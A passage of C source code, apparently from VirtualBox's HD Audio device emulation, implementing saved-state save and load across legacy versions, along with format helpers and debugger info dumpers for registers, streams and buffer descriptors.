buffer */, cbToRead); AssertRCReturn(rc, rc); } } RTCircBufReleaseReadBlock(pStream->State.pCircBuf, 0 /* Don't advance read pointer -- see comment above */); } Log2Func(("[SD%RU8] LPIB=%RU32, CBL=%RU32, LVI=%RU32\n", pStream->u8SD, HDA_STREAM_REG(pThis, LPIB, pStream->u8SD), HDA_STREAM_REG(pThis, CBL, pStream->u8SD), HDA_STREAM_REG(pThis, LVI, pStream->u8SD))); #ifdef LOG_ENABLED hdaR3BDLEDumpAll(pThis, pStream->u64BDLBase, pStream->u16LVI + 1); #endif return rc; } /** * @callback_method_impl{FNSSMDEVSAVEEXEC} */ static DECLCALLBACK(int) hdaR3SaveExec(PPDMDEVINS pDevIns, PSSMHANDLE pSSM) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); /* Save Codec nodes states. */ hdaCodecSaveState(pThis->pCodec, pSSM); /* Save MMIO registers. */ SSMR3PutU32(pSSM, RT_ELEMENTS(pThis->au32Regs)); SSMR3PutMem(pSSM, pThis->au32Regs, sizeof(pThis->au32Regs)); /* Save controller-specifc internals. */ SSMR3PutU64(pSSM, pThis->u64WalClk); SSMR3PutU8(pSSM, pThis->u8IRQL); /* Save number of streams. */ SSMR3PutU32(pSSM, HDA_MAX_STREAMS); /* Save stream states. */ for (uint8_t i = 0; i < HDA_MAX_STREAMS; i++) { int rc = hdaR3SaveStream(pDevIns, pSSM, &pThis->aStreams[i]); AssertRCReturn(rc, rc); } return VINF_SUCCESS; } /** * Does required post processing when loading a saved state. * * @param pThis Pointer to HDA state. */ static int hdaR3LoadExecPost(PHDASTATE pThis) { int rc = VINF_SUCCESS; /* * Enable all previously active streams. */ for (uint8_t i = 0; i < HDA_MAX_STREAMS; i++) { PHDASTREAM pStream = hdaGetStreamFromSD(pThis, i); if (pStream) { int rc2; bool fActive = RT_BOOL(HDA_STREAM_REG(pThis, CTL, i) & HDA_SDCTL_RUN); if (fActive) { #ifdef VBOX_WITH_AUDIO_HDA_ASYNC_IO /* Make sure to also create the async I/O thread before actually enabling the stream. */ rc2 = hdaR3StreamAsyncIOCreate(pStream); AssertRC(rc2); /* ... and enabling it. */ hdaR3StreamAsyncIOEnable(pStream, true /* fEnable */); #endif /* Resume the stream's period. */ hdaR3StreamPeriodResume(&pStream->State.Period); /* (Re-)enable the stream. */ rc2 = hdaR3StreamEnable(pStream, true /* fEnable */); AssertRC(rc2); /* Add the stream to the device setup. */ rc2 = hdaR3AddStream(pThis, &pStream->State.Cfg); AssertRC(rc2); #ifdef HDA_USE_DMA_ACCESS_HANDLER /* (Re-)install the DMA handler. */ hdaR3StreamRegisterDMAHandlers(pThis, pStream); #endif if (hdaR3StreamTransferIsScheduled(pStream)) hdaR3TimerSet(pThis, pStream, hdaR3StreamTransferGetNext(pStream), true /* fForce */); /* Also keep track of the currently active streams. */ pThis->cStreamsActive++; } } } LogFlowFuncLeaveRC(rc); return rc; } /** * Handles loading of all saved state versions older than the current one. * * @param pThis Pointer to HDA state. * @param pSSM Pointer to SSM handle. * @param uVersion Saved state version to load. * @param uPass Loading stage to handle. */ static int hdaR3LoadExecLegacy(PHDASTATE pThis, PSSMHANDLE pSSM, uint32_t uVersion, uint32_t uPass) { RT_NOREF(uPass); int rc = VINF_SUCCESS; /* * Load MMIO registers. */ uint32_t cRegs; switch (uVersion) { case HDA_SSM_VERSION_1: /* Starting with r71199, we would save 112 instead of 113 registers due to some code cleanups. This only affected trunk builds in the 4.1 development period. */ cRegs = 113; if (SSMR3HandleRevision(pSSM) >= 71199) { uint32_t uVer = SSMR3HandleVersion(pSSM); if ( VBOX_FULL_VERSION_GET_MAJOR(uVer) == 4 && VBOX_FULL_VERSION_GET_MINOR(uVer) == 0 && VBOX_FULL_VERSION_GET_BUILD(uVer) >= 51) cRegs = 112; } break; case HDA_SSM_VERSION_2: case HDA_SSM_VERSION_3: cRegs = 112; AssertCompile(RT_ELEMENTS(pThis->au32Regs) >= 112); break; /* Since version 4 we store the register count to stay flexible. */ case HDA_SSM_VERSION_4: case HDA_SSM_VERSION_5: case HDA_SSM_VERSION_6: rc = SSMR3GetU32(pSSM, &cRegs); AssertRCReturn(rc, rc); if (cRegs != RT_ELEMENTS(pThis->au32Regs)) LogRel(("HDA: SSM version cRegs is %RU32, expected %RU32\n", cRegs, RT_ELEMENTS(pThis->au32Regs))); break; default: LogRel(("HDA: Warning: Unsupported / too new saved state version (%RU32)\n", uVersion)); return VERR_SSM_UNSUPPORTED_DATA_UNIT_VERSION; } if (cRegs >= RT_ELEMENTS(pThis->au32Regs)) { SSMR3GetMem(pSSM, pThis->au32Regs, sizeof(pThis->au32Regs)); SSMR3Skip(pSSM, sizeof(uint32_t) * (cRegs - RT_ELEMENTS(pThis->au32Regs))); } else SSMR3GetMem(pSSM, pThis->au32Regs, sizeof(uint32_t) * cRegs); /* Make sure to update the base addresses first before initializing any streams down below. */ pThis->u64CORBBase = RT_MAKE_U64(HDA_REG(pThis, CORBLBASE), HDA_REG(pThis, CORBUBASE)); pThis->u64RIRBBase = RT_MAKE_U64(HDA_REG(pThis, RIRBLBASE), HDA_REG(pThis, RIRBUBASE)); pThis->u64DPBase = RT_MAKE_U64(HDA_REG(pThis, DPLBASE) & DPBASE_ADDR_MASK, HDA_REG(pThis, DPUBASE)); /* Also make sure to update the DMA position bit if this was enabled when saving the state. */ pThis->fDMAPosition = RT_BOOL(HDA_REG(pThis, DPLBASE) & RT_BIT_32(0)); /* * Note: Saved states < v5 store LVI (u32BdleMaxCvi) for * *every* BDLE state, whereas it only needs to be stored * *once* for every stream. Most of the BDLE state we can * get out of the registers anyway, so just ignore those values. * * Also, only the current BDLE was saved, regardless whether * there were more than one (and there are at least two entries, * according to the spec). */ #define HDA_SSM_LOAD_BDLE_STATE_PRE_V5(v, x) \ { \ rc = SSMR3Skip(pSSM, sizeof(uint32_t)); /* Begin marker */ \ AssertRCReturn(rc, rc); \ rc = SSMR3GetU64(pSSM, &x.Desc.u64BufAdr); /* u64BdleCviAddr */ \ AssertRCReturn(rc, rc); \ rc = SSMR3Skip(pSSM, sizeof(uint32_t)); /* u32BdleMaxCvi */ \ AssertRCReturn(rc, rc); \ rc = SSMR3GetU32(pSSM, &x.State.u32BDLIndex); /* u32BdleCvi */ \ AssertRCReturn(rc, rc); \ rc = SSMR3GetU32(pSSM, &x.Desc.u32BufSize); /* u32BdleCviLen */ \ AssertRCReturn(rc, rc); \ rc = SSMR3GetU32(pSSM, &x.State.u32BufOff); /* u32BdleCviPos */ \ AssertRCReturn(rc, rc); \ bool fIOC; \ rc = SSMR3GetBool(pSSM, &fIOC); /* fBdleCviIoc */ \ AssertRCReturn(rc, rc); \ x.Desc.fFlags = fIOC ? HDA_BDLE_FLAG_IOC : 0; \ rc = SSMR3GetU32(pSSM, &x.State.cbBelowFIFOW); /* cbUnderFifoW */ \ AssertRCReturn(rc, rc); \ rc = SSMR3Skip(pSSM, sizeof(uint8_t) * 256); /* FIFO */ \ AssertRCReturn(rc, rc); \ rc = SSMR3Skip(pSSM, sizeof(uint32_t)); /* End marker */ \ AssertRCReturn(rc, rc); \ } /* * Load BDLEs (Buffer Descriptor List Entries) and DMA counters. */ switch (uVersion) { case HDA_SSM_VERSION_1: case HDA_SSM_VERSION_2: case HDA_SSM_VERSION_3: case HDA_SSM_VERSION_4: { /* Only load the internal states. * The rest will be initialized from the saved registers later. */ /* Note 1: Only the *current* BDLE for a stream was saved! */ /* Note 2: The stream's saving order is/was fixed, so don't touch! */ /* Output */ PHDASTREAM pStream = &pThis->aStreams[4]; rc = hdaR3StreamInit(pStream, 4 /* Stream descriptor, hardcoded */); if (RT_FAILURE(rc)) break; HDA_SSM_LOAD_BDLE_STATE_PRE_V5(uVersion, pStream->State.BDLE); pStream->State.uCurBDLE = pStream->State.BDLE.State.u32BDLIndex; /* Microphone-In */ pStream = &pThis->aStreams[2]; rc = hdaR3StreamInit(pStream, 2 /* Stream descriptor, hardcoded */); if (RT_FAILURE(rc)) break; HDA_SSM_LOAD_BDLE_STATE_PRE_V5(uVersion, pStream->State.BDLE); pStream->State.uCurBDLE = pStream->State.BDLE.State.u32BDLIndex; /* Line-In */ pStream = &pThis->aStreams[0]; rc = hdaR3StreamInit(pStream, 0 /* Stream descriptor, hardcoded */); if (RT_FAILURE(rc)) break; HDA_SSM_LOAD_BDLE_STATE_PRE_V5(uVersion, pStream->State.BDLE); pStream->State.uCurBDLE = pStream->State.BDLE.State.u32BDLIndex; break; } #undef HDA_SSM_LOAD_BDLE_STATE_PRE_V5 default: /* Since v5 we support flexible stream and BDLE counts. */ { uint32_t cStreams; rc = SSMR3GetU32(pSSM, &cStreams); if (RT_FAILURE(rc)) break; if (cStreams > HDA_MAX_STREAMS) cStreams = HDA_MAX_STREAMS; /* Sanity. */ /* Load stream states. */ for (uint32_t i = 0; i < cStreams; i++) { uint8_t uStreamID; rc = SSMR3GetU8(pSSM, &uStreamID); if (RT_FAILURE(rc)) break; PHDASTREAM pStream = hdaGetStreamFromSD(pThis, uStreamID); HDASTREAM StreamDummy; if (!pStream) { pStream = &StreamDummy; LogRel2(("HDA: Warning: Stream ID=%RU32 not supported, skipping to load ...\n", uStreamID)); } rc = hdaR3StreamInit(pStream, uStreamID); if (RT_FAILURE(rc)) { LogRel(("HDA: Stream #%RU32: Initialization of stream %RU8 failed, rc=%Rrc\n", i, uStreamID, rc)); break; } /* * Load BDLEs (Buffer Descriptor List Entries) and DMA counters. */ if (uVersion == HDA_SSM_VERSION_5) { /* Get the current BDLE entry and skip the rest. */ uint16_t cBDLE; rc = SSMR3Skip(pSSM, sizeof(uint32_t)); /* Begin marker */ AssertRC(rc); rc = SSMR3GetU16(pSSM, &cBDLE); /* cBDLE */ AssertRC(rc); rc = SSMR3GetU16(pSSM, &pStream->State.uCurBDLE); /* uCurBDLE */ AssertRC(rc); rc = SSMR3Skip(pSSM, sizeof(uint32_t)); /* End marker */ AssertRC(rc); uint32_t u32BDLEIndex; for (uint16_t a = 0; a < cBDLE; a++) { rc = SSMR3Skip(pSSM, sizeof(uint32_t)); /* Begin marker */ AssertRC(rc); rc = SSMR3GetU32(pSSM, &u32BDLEIndex); /* u32BDLIndex */ AssertRC(rc); /* Does the current BDLE index match the current BDLE to process? */ if (u32BDLEIndex == pStream->State.uCurBDLE) { rc = SSMR3GetU32(pSSM, &pStream->State.BDLE.State.cbBelowFIFOW); /* cbBelowFIFOW */ AssertRC(rc); rc = SSMR3Skip(pSSM, sizeof(uint8_t) * 256); /* FIFO, deprecated */ AssertRC(rc); rc = SSMR3GetU32(pSSM, &pStream->State.BDLE.State.u32BufOff); /* u32BufOff */ AssertRC(rc); rc = SSMR3Skip(pSSM, sizeof(uint32_t)); /* End marker */ AssertRC(rc); } else /* Skip not current BDLEs. */ { rc = SSMR3Skip(pSSM, sizeof(uint32_t) /* cbBelowFIFOW */ + sizeof(uint8_t) * 256 /* au8FIFO */ + sizeof(uint32_t) /* u32BufOff */ + sizeof(uint32_t)); /* End marker */ AssertRC(rc); } } } else { rc = SSMR3GetStructEx(pSSM, &pStream->State, sizeof(HDASTREAMSTATE), 0 /* fFlags */, g_aSSMStreamStateFields6, NULL); if (RT_FAILURE(rc)) break; /* Get HDABDLEDESC. */ uint32_t uMarker; rc = SSMR3GetU32(pSSM, &uMarker); /* Begin marker. */ AssertRC(rc); Assert(uMarker == UINT32_C(0x19200102) /* SSMR3STRUCT_BEGIN */); rc = SSMR3GetU64(pSSM, &pStream->State.BDLE.Desc.u64BufAdr); AssertRC(rc); rc = SSMR3GetU32(pSSM, &pStream->State.BDLE.Desc.u32BufSize); AssertRC(rc); bool fFlags = false; rc = SSMR3GetBool(pSSM, &fFlags); /* Saved states < v7 only stored the IOC as boolean flag. */ AssertRC(rc); pStream->State.BDLE.Desc.fFlags = fFlags ? HDA_BDLE_FLAG_IOC : 0; rc = SSMR3GetU32(pSSM, &uMarker); /* End marker. */ AssertRC(rc); Assert(uMarker == UINT32_C(0x19920406) /* SSMR3STRUCT_END */); rc = SSMR3GetStructEx(pSSM, &pStream->State.BDLE.State, sizeof(HDABDLESTATE), 0 /* fFlags */, g_aSSMBDLEStateFields6, NULL); if (RT_FAILURE(rc)) break; Log2Func(("[SD%RU8] LPIB=%RU32, CBL=%RU32, LVI=%RU32\n", uStreamID, HDA_STREAM_REG(pThis, LPIB, uStreamID), HDA_STREAM_REG(pThis, CBL, uStreamID), HDA_STREAM_REG(pThis, LVI, uStreamID))); #ifdef LOG_ENABLED hdaR3BDLEDumpAll(pThis, pStream->u64BDLBase, pStream->u16LVI + 1); #endif } } /* for cStreams */ break; } /* default */ } return rc; } /** * @callback_method_impl{FNSSMDEVLOADEXEC} */ static DECLCALLBACK(int) hdaR3LoadExec(PPDMDEVINS pDevIns, PSSMHANDLE pSSM, uint32_t uVersion, uint32_t uPass) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); Assert(uPass == SSM_PASS_FINAL); NOREF(uPass); LogRel2(("hdaR3LoadExec: uVersion=%RU32, uPass=0x%x\n", uVersion, uPass)); /* * Load Codec nodes states. */ int rc = hdaCodecLoadState(pThis->pCodec, pSSM, uVersion); if (RT_FAILURE(rc)) { LogRel(("HDA: Failed loading codec state (version %RU32, pass 0x%x), rc=%Rrc\n", uVersion, uPass, rc)); return rc; } if (uVersion < HDA_SSM_VERSION) /* Handle older saved states? */ { rc = hdaR3LoadExecLegacy(pThis, pSSM, uVersion, uPass); if (RT_SUCCESS(rc)) rc = hdaR3LoadExecPost(pThis); return rc; } /* * Load MMIO registers. */ uint32_t cRegs; rc = SSMR3GetU32(pSSM, &cRegs); AssertRCReturn(rc, rc); if (cRegs != RT_ELEMENTS(pThis->au32Regs)) LogRel(("HDA: SSM version cRegs is %RU32, expected %RU32\n", cRegs, RT_ELEMENTS(pThis->au32Regs))); if (cRegs >= RT_ELEMENTS(pThis->au32Regs)) { SSMR3GetMem(pSSM, pThis->au32Regs, sizeof(pThis->au32Regs)); SSMR3Skip(pSSM, sizeof(uint32_t) * (cRegs - RT_ELEMENTS(pThis->au32Regs))); } else SSMR3GetMem(pSSM, pThis->au32Regs, sizeof(uint32_t) * cRegs); /* Make sure to update the base addresses first before initializing any streams down below. */ pThis->u64CORBBase = RT_MAKE_U64(HDA_REG(pThis, CORBLBASE), HDA_REG(pThis, CORBUBASE)); pThis->u64RIRBBase = RT_MAKE_U64(HDA_REG(pThis, RIRBLBASE), HDA_REG(pThis, RIRBUBASE)); pThis->u64DPBase = RT_MAKE_U64(HDA_REG(pThis, DPLBASE) & DPBASE_ADDR_MASK, HDA_REG(pThis, DPUBASE)); /* Also make sure to update the DMA position bit if this was enabled when saving the state. */ pThis->fDMAPosition = RT_BOOL(HDA_REG(pThis, DPLBASE) & RT_BIT_32(0)); /* * Load controller-specifc internals. * Don't annoy other team mates (forgot this for state v7). */ if ( SSMR3HandleRevision(pSSM) >= 116273 || SSMR3HandleVersion(pSSM) >= VBOX_FULL_VERSION_MAKE(5, 2, 0)) { rc = SSMR3GetU64(pSSM, &pThis->u64WalClk); AssertRC(rc); rc = SSMR3GetU8(pSSM, &pThis->u8IRQL); AssertRC(rc); } /* * Load streams. */ uint32_t cStreams; rc = SSMR3GetU32(pSSM, &cStreams); AssertRC(rc); if (cStreams > HDA_MAX_STREAMS) cStreams = HDA_MAX_STREAMS; /* Sanity. */ Log2Func(("cStreams=%RU32\n", cStreams)); /* Load stream states. */ for (uint32_t i = 0; i < cStreams; i++) { uint8_t uStreamID; rc = SSMR3GetU8(pSSM, &uStreamID); AssertRC(rc); PHDASTREAM pStream = hdaGetStreamFromSD(pThis, uStreamID); HDASTREAM StreamDummy; if (!pStream) { pStream = &StreamDummy; LogRel2(("HDA: Warning: Loading of stream #%RU8 not supported, skipping to load ...\n", uStreamID)); } rc = hdaR3StreamInit(pStream, uStreamID); if (RT_FAILURE(rc)) { LogRel(("HDA: Stream #%RU8: Loading initialization failed, rc=%Rrc\n", uStreamID, rc)); /* Continue. */ } rc = SSMR3GetStructEx(pSSM, &pStream->State, sizeof(HDASTREAMSTATE), 0 /* fFlags */, g_aSSMStreamStateFields7, NULL); AssertRC(rc); /* * Load BDLEs (Buffer Descriptor List Entries) and DMA counters. */ rc = SSMR3GetStructEx(pSSM, &pStream->State.BDLE.Desc, sizeof(HDABDLEDESC), 0 /* fFlags */, g_aSSMBDLEDescFields7, NULL); AssertRC(rc); rc = SSMR3GetStructEx(pSSM, &pStream->State.BDLE.State, sizeof(HDABDLESTATE), 0 /* fFlags */, g_aSSMBDLEStateFields7, NULL); AssertRC(rc); Log2Func(("[SD%RU8] %R[bdle]\n", pStream->u8SD, &pStream->State.BDLE)); /* * Load period state. * Don't annoy other team mates (forgot this for state v7). */ hdaR3StreamPeriodInit(&pStream->State.Period, pStream->u8SD, pStream->u16LVI, pStream->u32CBL, &pStream->State.Cfg); if ( SSMR3HandleRevision(pSSM) >= 116273 || SSMR3HandleVersion(pSSM) >= VBOX_FULL_VERSION_MAKE(5, 2, 0)) { rc = SSMR3GetStructEx(pSSM, &pStream->State.Period, sizeof(HDASTREAMPERIOD), 0 /* fFlags */, g_aSSMStreamPeriodFields7, NULL); AssertRC(rc); } /* * Load internal (FIFO) buffer. */ uint32_t cbCircBufSize = 0; rc = SSMR3GetU32(pSSM, &cbCircBufSize); /* cbCircBuf */ AssertRC(rc); uint32_t cbCircBufUsed = 0; rc = SSMR3GetU32(pSSM, &cbCircBufUsed); /* cbCircBuf */ AssertRC(rc); if (cbCircBufSize) /* If 0, skip the buffer. */ { /* Paranoia. */ AssertReleaseMsg(cbCircBufSize <= _1M, ("HDA: Saved state contains bogus DMA buffer size (%RU32) for stream #%RU8", cbCircBufSize, uStreamID)); AssertReleaseMsg(cbCircBufUsed <= cbCircBufSize, ("HDA: Saved state contains invalid DMA buffer usage (%RU32/%RU32) for stream #%RU8", cbCircBufUsed, cbCircBufSize, uStreamID)); AssertPtr(pStream->State.pCircBuf); /* Do we need to cre-create the circular buffer do fit the data size? */ if (cbCircBufSize != (uint32_t)RTCircBufSize(pStream->State.pCircBuf)) { RTCircBufDestroy(pStream->State.pCircBuf); pStream->State.pCircBuf = NULL; rc = RTCircBufCreate(&pStream->State.pCircBuf, cbCircBufSize); AssertRC(rc); } if ( RT_SUCCESS(rc) && cbCircBufUsed) { void *pvBuf; size_t cbBuf; RTCircBufAcquireWriteBlock(pStream->State.pCircBuf, cbCircBufUsed, &pvBuf, &cbBuf); if (cbBuf) { rc = SSMR3GetMem(pSSM, pvBuf, cbBuf); AssertRC(rc); } RTCircBufReleaseWriteBlock(pStream->State.pCircBuf, cbBuf); Assert(cbBuf == cbCircBufUsed); } } Log2Func(("[SD%RU8] LPIB=%RU32, CBL=%RU32, LVI=%RU32\n", uStreamID, HDA_STREAM_REG(pThis, LPIB, uStreamID), HDA_STREAM_REG(pThis, CBL, uStreamID), HDA_STREAM_REG(pThis, LVI, uStreamID))); #ifdef LOG_ENABLED hdaR3BDLEDumpAll(pThis, pStream->u64BDLBase, pStream->u16LVI + 1); #endif /** @todo (Re-)initialize active periods? */ } /* for cStreams */ rc = hdaR3LoadExecPost(pThis); AssertRC(rc); LogFlowFuncLeaveRC(rc); return rc; } /* IPRT format type handlers. */ /** * @callback_method_impl{FNRTSTRFORMATTYPE} */ static DECLCALLBACK(size_t) hdaR3StrFmtBDLE(PFNRTSTROUTPUT pfnOutput, void *pvArgOutput, const char *pszType, void const *pvValue, int cchWidth, int cchPrecision, unsigned fFlags, void *pvUser) { RT_NOREF(pszType, cchWidth, cchPrecision, fFlags, pvUser); PHDABDLE pBDLE = (PHDABDLE)pvValue; return RTStrFormat(pfnOutput, pvArgOutput, NULL, 0, "BDLE(idx:%RU32, off:%RU32, fifow:%RU32, IOC:%RTbool, DMA[%RU32 bytes @ 0x%x])", pBDLE->State.u32BDLIndex, pBDLE->State.u32BufOff, pBDLE->State.cbBelowFIFOW, pBDLE->Desc.fFlags & HDA_BDLE_FLAG_IOC, pBDLE->Desc.u32BufSize, pBDLE->Desc.u64BufAdr); } /** * @callback_method_impl{FNRTSTRFORMATTYPE} */ static DECLCALLBACK(size_t) hdaR3StrFmtSDCTL(PFNRTSTROUTPUT pfnOutput, void *pvArgOutput, const char *pszType, void const *pvValue, int cchWidth, int cchPrecision, unsigned fFlags, void *pvUser) { RT_NOREF(pszType, cchWidth, cchPrecision, fFlags, pvUser); uint32_t uSDCTL = (uint32_t)(uintptr_t)pvValue; return RTStrFormat(pfnOutput, pvArgOutput, NULL, 0, "SDCTL(raw:%#x, DIR:%s, TP:%RTbool, STRIPE:%x, DEIE:%RTbool, FEIE:%RTbool, IOCE:%RTbool, RUN:%RTbool, RESET:%RTbool)", uSDCTL, uSDCTL & HDA_SDCTL_DIR ? "OUT" : "IN", RT_BOOL(uSDCTL & HDA_SDCTL_TP), (uSDCTL & HDA_SDCTL_STRIPE_MASK) >> HDA_SDCTL_STRIPE_SHIFT, RT_BOOL(uSDCTL & HDA_SDCTL_DEIE), RT_BOOL(uSDCTL & HDA_SDCTL_FEIE), RT_BOOL(uSDCTL & HDA_SDCTL_IOCE), RT_BOOL(uSDCTL & HDA_SDCTL_RUN), RT_BOOL(uSDCTL & HDA_SDCTL_SRST)); } /** * @callback_method_impl{FNRTSTRFORMATTYPE} */ static DECLCALLBACK(size_t) hdaR3StrFmtSDFIFOS(PFNRTSTROUTPUT pfnOutput, void *pvArgOutput, const char *pszType, void const *pvValue, int cchWidth, int cchPrecision, unsigned fFlags, void *pvUser) { RT_NOREF(pszType, cchWidth, cchPrecision, fFlags, pvUser); uint32_t uSDFIFOS = (uint32_t)(uintptr_t)pvValue; return RTStrFormat(pfnOutput, pvArgOutput, NULL, 0, "SDFIFOS(raw:%#x, sdfifos:%RU8 B)", uSDFIFOS, uSDFIFOS ? uSDFIFOS + 1 : 0); } /** * @callback_method_impl{FNRTSTRFORMATTYPE} */ static DECLCALLBACK(size_t) hdaR3StrFmtSDFIFOW(PFNRTSTROUTPUT pfnOutput, void *pvArgOutput, const char *pszType, void const *pvValue, int cchWidth, int cchPrecision, unsigned fFlags, void *pvUser) { RT_NOREF(pszType, cchWidth, cchPrecision, fFlags, pvUser); uint32_t uSDFIFOW = (uint32_t)(uintptr_t)pvValue; return RTStrFormat(pfnOutput, pvArgOutput, NULL, 0, "SDFIFOW(raw: %#0x, sdfifow:%d B)", uSDFIFOW, hdaSDFIFOWToBytes(uSDFIFOW)); } /** * @callback_method_impl{FNRTSTRFORMATTYPE} */ static DECLCALLBACK(size_t) hdaR3StrFmtSDSTS(PFNRTSTROUTPUT pfnOutput, void *pvArgOutput, const char *pszType, void const *pvValue, int cchWidth, int cchPrecision, unsigned fFlags, void *pvUser) { RT_NOREF(pszType, cchWidth, cchPrecision, fFlags, pvUser); uint32_t uSdSts = (uint32_t)(uintptr_t)pvValue; return RTStrFormat(pfnOutput, pvArgOutput, NULL, 0, "SDSTS(raw:%#0x, fifordy:%RTbool, dese:%RTbool, fifoe:%RTbool, bcis:%RTbool)", uSdSts, RT_BOOL(uSdSts & HDA_SDSTS_FIFORDY), RT_BOOL(uSdSts & HDA_SDSTS_DESE), RT_BOOL(uSdSts & HDA_SDSTS_FIFOE), RT_BOOL(uSdSts & HDA_SDSTS_BCIS)); } /* Debug info dumpers */ static int hdaR3DbgLookupRegByName(const char *pszArgs) { int iReg = 0; for (; iReg < HDA_NUM_REGS; ++iReg) if (!RTStrICmp(g_aHdaRegMap[iReg].abbrev, pszArgs)) return iReg; return -1; } static void hdaR3DbgPrintRegister(PHDASTATE pThis, PCDBGFINFOHLP pHlp, int iHdaIndex) { Assert( pThis && iHdaIndex >= 0 && iHdaIndex < HDA_NUM_REGS); pHlp->pfnPrintf(pHlp, "%s: 0x%x\n", g_aHdaRegMap[iHdaIndex].abbrev, pThis->au32Regs[g_aHdaRegMap[iHdaIndex].mem_idx]); } /** * @callback_method_impl{FNDBGFHANDLERDEV} */ static DECLCALLBACK(void) hdaR3DbgInfo(PPDMDEVINS pDevIns, PCDBGFINFOHLP pHlp, const char *pszArgs) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); int iHdaRegisterIndex = hdaR3DbgLookupRegByName(pszArgs); if (iHdaRegisterIndex != -1) hdaR3DbgPrintRegister(pThis, pHlp, iHdaRegisterIndex); else { for(iHdaRegisterIndex = 0; (unsigned int)iHdaRegisterIndex < HDA_NUM_REGS; ++iHdaRegisterIndex) hdaR3DbgPrintRegister(pThis, pHlp, iHdaRegisterIndex); } } static void hdaR3DbgPrintStream(PHDASTATE pThis, PCDBGFINFOHLP pHlp, int iIdx) { Assert( pThis && iIdx >= 0 && iIdx < HDA_MAX_STREAMS); const PHDASTREAM pStream = &pThis->aStreams[iIdx]; pHlp->pfnPrintf(pHlp, "Stream #%d:\n", iIdx); pHlp->pfnPrintf(pHlp, "\tSD%dCTL : %R[sdctl]\n", iIdx, HDA_STREAM_REG(pThis, CTL, iIdx)); pHlp->pfnPrintf(pHlp, "\tSD%dCTS : %R[sdsts]\n", iIdx, HDA_STREAM_REG(pThis, STS, iIdx)); pHlp->pfnPrintf(pHlp, "\tSD%dFIFOS: %R[sdfifos]\n", iIdx, HDA_STREAM_REG(pThis, FIFOS, iIdx)); pHlp->pfnPrintf(pHlp, "\tSD%dFIFOW: %R[sdfifow]\n", iIdx, HDA_STREAM_REG(pThis, FIFOW, iIdx)); pHlp->pfnPrintf(pHlp, "\tBDLE : %R[bdle]\n", &pStream->State.BDLE); } static void hdaR3DbgPrintBDLE(PHDASTATE pThis, PCDBGFINFOHLP pHlp, int iIdx) { Assert( pThis && iIdx >= 0 && iIdx < HDA_MAX_STREAMS); const PHDASTREAM pStream = &pThis->aStreams[iIdx]; const PHDABDLE pBDLE = &pStream->State.BDLE; pHlp->pfnPrintf(pHlp, "Stream #%d BDLE:\n", iIdx); uint64_t u64BaseDMA = RT_MAKE_U64(HDA_STREAM_REG(pThis, BDPL, iIdx), HDA_STREAM_REG(pThis, BDPU, iIdx)); uint16_t u16LVI = HDA_STREAM_REG(pThis, LVI, iIdx); uint32_t u32CBL = HDA_STREAM_REG(pThis, CBL, iIdx); if (!u64BaseDMA) return; pHlp->pfnPrintf(pHlp, "\tCurrent: %R[bdle]\n\n", pBDLE); pHlp->pfnPrintf(pHlp, "\tMemory:\n"); uint32_t cbBDLE = 0; for (uint16_t i = 0; i < u16LVI + 1; i++) { HDABDLEDESC bd; PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), u64BaseDMA + i * sizeof(HDABDLEDESC), &bd, sizeof(bd)); pHlp->pfnPrintf(pHlp, "\t\t%s #%03d BDLE(adr:0x%llx, size:%RU32, ioc:%RTbool)\n", pBDLE->State.u32BDLIndex == i ? "*" : " ", i, bd.u64BufAdr, bd.u32BufSize, bd.fFlags & HDA_BDLE_FLAG_IOC); cbBDLE += bd.u32BufSize; } pHlp->pfnPrintf(pHlp, "Total: %RU32 bytes\n", cbBDLE); if (cbBDLE != u32CBL) pHlp->pfnPrintf(pHlp, "Warning: %RU32 bytes does not match CBL (%RU32)!\n", cbBDLE, u32CBL); pHlp->pfnPrintf(pHlp, "DMA counters (base @ 0x%llx):\n", u64BaseDMA); if (!u64BaseDMA) /* No DMA base given? Bail out. */ { pHlp->pfnPrintf(pHlp, "\tNo counters found\n"); return; } for (int i = 0; i < u16LVI + 1; i++) { uint32_t uDMACnt; PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), (pThis->u64DPBase & DPBASE_ADDR_MASK) + (i * 2 * sizeof(uint32_t)), &uDMACnt, sizeof(uDMACnt)); pHlp->pfnPrintf(pHlp, "\t#%03d DMA @ 0x%x\n", i , uDMACnt); } } static int hdaR3DbgLookupStrmIdx(PHDASTATE pThis, const char *pszArgs) { RT_NOREF(pThis, pszArgs); /** @todo Add args parsing. */ return -1; } /** * @callback_method_impl{FNDBGFHANDLERDEV} */ static DECLCALLBACK(void) hdaR3DbgInfoStream(PPDMDEVINS pDevIns, PCDBGFINFOHLP pHlp, const char *pszArgs) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); int iHdaStreamdex = hdaR3DbgLookupStrmIdx(pThis, pszArgs); if (iHdaStreamdex != -1) hdaR3DbgPrintStream(pThis, pHlp, iHdaStreamdex); else for(iHdaStreamdex = 0; iHdaStreamdex < HDA_MAX_STREAMS; ++iHdaStreamdex) hdaR3DbgPrintStream(pThis, pHlp, iHdaStreamdex); } /** * @callback_method_impl{FNDBGFHANDLERDEV} */ static DECLCALLBACK(void) hdaR3DbgInfoBDLE(PPDMDEVINS pDevIns, PCDBGFINFOHLP pHlp, const char *pszArgs) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); int iHdaStreamdex = hdaR3DbgLookupStrmIdx(pThis, pszArgs); if (iHdaStreamdex != -1) hdaR3DbgPrintBDLE(pThis, pHlp, iHdaStreamdex); else for (iHdaStreamdex = 0; iHdaStreamdex < HDA_MAX_STREAMS; ++iHdaStreamdex) hdaR3DbgPrintBDLE(pThis, pHlp, iHdaStreamdex); } /** * @callback_method_impl{FNDBGFHANDLERDEV} */ static DECLCALLBACK(void) hdaR3DbgInfoCodecNodes(PPDMDEVINS pDevIns, PCDBGFINFOHLP pHlp, const char *pszArgs) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); if (pThis->pCodec->pfnDbgListNodes) pThis->pCodec->pfnDbgListNodes(pThis->pCodec, pHlp, pszArgs); else pHlp->pfnPrintf(pHlp, "Codec implementation doesn't provide corresponding callback\n"); } /** * @callback_method_impl{FNDBGFHANDLERDEV} */ static DECLCALLBACK(void) 